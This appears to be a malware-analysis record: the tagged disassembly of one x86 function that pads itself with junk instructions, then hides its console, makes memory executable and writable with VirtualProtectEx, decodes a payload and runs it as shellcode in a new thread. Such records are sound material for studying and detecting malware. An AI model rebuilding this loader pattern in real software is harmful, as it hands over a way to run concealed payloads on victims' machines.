Function at 0x40154d
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
inc di
imul ecx
sub edi, ebx
shl eax, 0xcb
rcr si, 0x89
rol cx, 0x66
mul esi
imul edx
imul edx
imul dx
and ax, dx
rol ecx, 0x96
rol ebx, 0x40
mul bx
mov cx, 0x373
shr di, 0x79
sub di, si
add eax, 0x65
mul cx
imul di
mov bx, dx
movzx eax, dl
sub cx, ax
inc eax
jne 0x4015c7
test ecx, 0x41
ja 0x4015f7
mov esi, 8
shl eax, 0x5b
inc dx
ror edi, 0xc9
inc esi
xor ecx, edx
add bx, 0x2e5
shr cx, 0xd7
mov edx, 0x2dd
jmp 0x4015d3
or eax, 0x397
xor di, 0x1ae
or edi, edx
shl ax, 0x6b
imul si
rcl edx, 0xab
ja 0x4015f7
cmp ebx, 0x43
jae 0x401650
shr di, 0x10
ror ebx, 0xf4
dec si
movsx edx, cl
inc si
mov edi, edi
inc ebx
jmp 0x401607
shl cx, 0x27
xor ebx, edx
shl ebx, 0x6a
mul ecx
imul ecx
imul ax
add si, bx
mov bx, 0x27f
imul edi
mul eax
add bx, ax
imul bx
add edi, ecx
rol dx, 0x7a
xor si, 0x345
sub ax, 0x3c3
jb 0x401650
cmp eax, 0x4b
jne 0x40168a
rcl eax, 0xd
sub eax, 0x30
shl eax, 0x10
sub dx, 0x1af
and cx, di
and ecx, 0x12b
dec di
or bx, 0x77
shl edi, 0x2d
jmp 0x40166e
imul edx
or bx, 0xd8
add cx, bx
imul esi
imul eax
rcl bx, 0xd7
mov dx, dx
movsx eax, ax
dec si
ror di, 0xa5
dec eax
xor esi, esi
jne 0x40168a
cmp edx, 0x2a
jb 0x4016c8
shr edx, 0x1a
mov edi, 0x2d7
ror ebx, 0xeb
sub eax, 0x221
jmp 0x401697
inc eax
xor edi, 0x247
xor edx, 0x236
rcl bx, 0xde
shl si, 0xdf
imul ebx
dec ebx
shr cx, 0x7f
jae 0x4016c8
add dx, 4
movzx edi, dh
ror bx, 0xd5
rcr ax, 0x7e
dec esi
sub ax, ax
dec di
shl ebx, 0x3c
rcl bx, 0xff
xor edi, edx
jmp 0x4016e0
imul ax
rcr di, 0x74
shl eax, 0xee
shl di, 0xba
dec dx
inc eax
ror edi, 0x9b
ror bx, 0x70
rcr si, 0xf0
jne 0x401707
inc dx
shl bx, 0xf2
rcl ax, 0xec
movzx esi, dx
sub si, 0x1ab
dec edi
movzx ecx, dh
ror ebx, 0x19
sub esi, 0x2cc
jmp 0x40170f
rcl esi, 0xf9
mov bx, di
inc dx
movzx eax, si
jb 0x401721
test eax, 0x59
jb 0x40178d
sub bx, 0x66
jmp 0x40173a
rcl edx, 0x8a
ror dx, 0x8c
dec ax
shl edx, 0x8d
mul edi
sub cx, 0x39a
sub bx, ax
inc ecx
sub esi, eax
or eax, ecx
rol cx, 0xfe
mov esi, 0x36c
rcr ecx, 0xdf
ror edx, 0x29
shl bx, 0x33
rol ax, 0xc8
or cx, 0x16b
rol si, 0xf1
imul cx
jb 0x40178d
test esi, 0x3c
ja 0x4017d8
rol edx, 0x1e
add si, 0x68
shr eax, 0xe8
shr bx, 0xb8
rcl eax, 0x8b
mul dx
inc si
add cx, 0x3bf
shl edx, 0x51
rcl di, 0x57
jmp 0x4017a4
rcr si, 0xa3
shl esi, 0x7d
shr dx, 0x3b
rcl si, 0xd1
shr cx, 0x10
shl bx, 0xce
shl eax, 0x3c
ror ebx, 0xe8
ror edx, 0xf8
ror si, 0xbc
shr ax, 0xc5
and di, 0x16e
or di, cx
rol esi, 0xee
and di, dx
ror ebx, 0x70
jb 0x4017d8
movzx eax, cl
inc ax
and di, cx
rol ebx, 0xbd
mov ax, si
jmp 0x4017de
inc si
rcr bx, 0xff
shr di, 0x9d
movsx esi, cl
imul ecx
or edi, eax
sub edi, eax
rcl dx, 0xb5
rol di, 0x27
imul ax
rol ax, 0xa1
imul dx
jb 0x401809
shl esi, 0x3c
imul esi
movzx eax, cx
jmp 0x401814
movzx edx, ax
imul di
dec ecx
mul ebx
dec ax
and dx, 0x184
movsx edx, cx
add eax, 0x1d7
shl eax, 0xff
je 0x40184e
test ecx, 0x10
ja 0x40186f
add ebx, ecx
rol esi, 0x48
rcr dx, 0x23
rcl ax, 2
mul ax
mul esi
or edx, esi
shr edi, 0x7c
rol ax, 0xef
movsx edx, bx
jmp 0x401853
mov eax, 0x2a0
sub cx, 0x1d4
jb 0x40186f
test esi, 0xb
je 0x4018a7
inc cx
or edi, 0x3e4
sub si, cx
jmp 0x401887
shl ebx, 0x36
and ebx, esi
rcr eax, 0x67
shr esi, 0xf1
imul esi
xor eax, esi
sub edx, ebx
ror ax, 0xac
rcr ebx, 0x80
imul ecx
shl si, 0xfd
jae 0x4018a7
dec eax
shl edx, 0xeb
sub di, 0x3f
mul ax
or si, 0xdd
rcr dx, 0x5e
xor esi, esi
jmp 0x4018b2
shr edx, 0xf5
rol dx, 0xac
dec edx
and di, dx
ror cx, 0x8a
call dword [sym.imp.KERNEL32.dll_FreeConsole]
lea eax, [ebp - 4]
mov edi, 0x4ac
push eax
push 0x40
push edi
mov esi, 0x436638
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push edi
xor ebx, ebx
push esi
mov dword [ebp - 8], ebx
call fcn.004014ea
push 0x36
push section..data
push 0x1b600
mov esi, 0x41b038
push esi
call fcn.0040122f
add esp, 0x18
lea eax, [ebp - 8]
push eax
push ebx
push esi
push 0x4367c0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret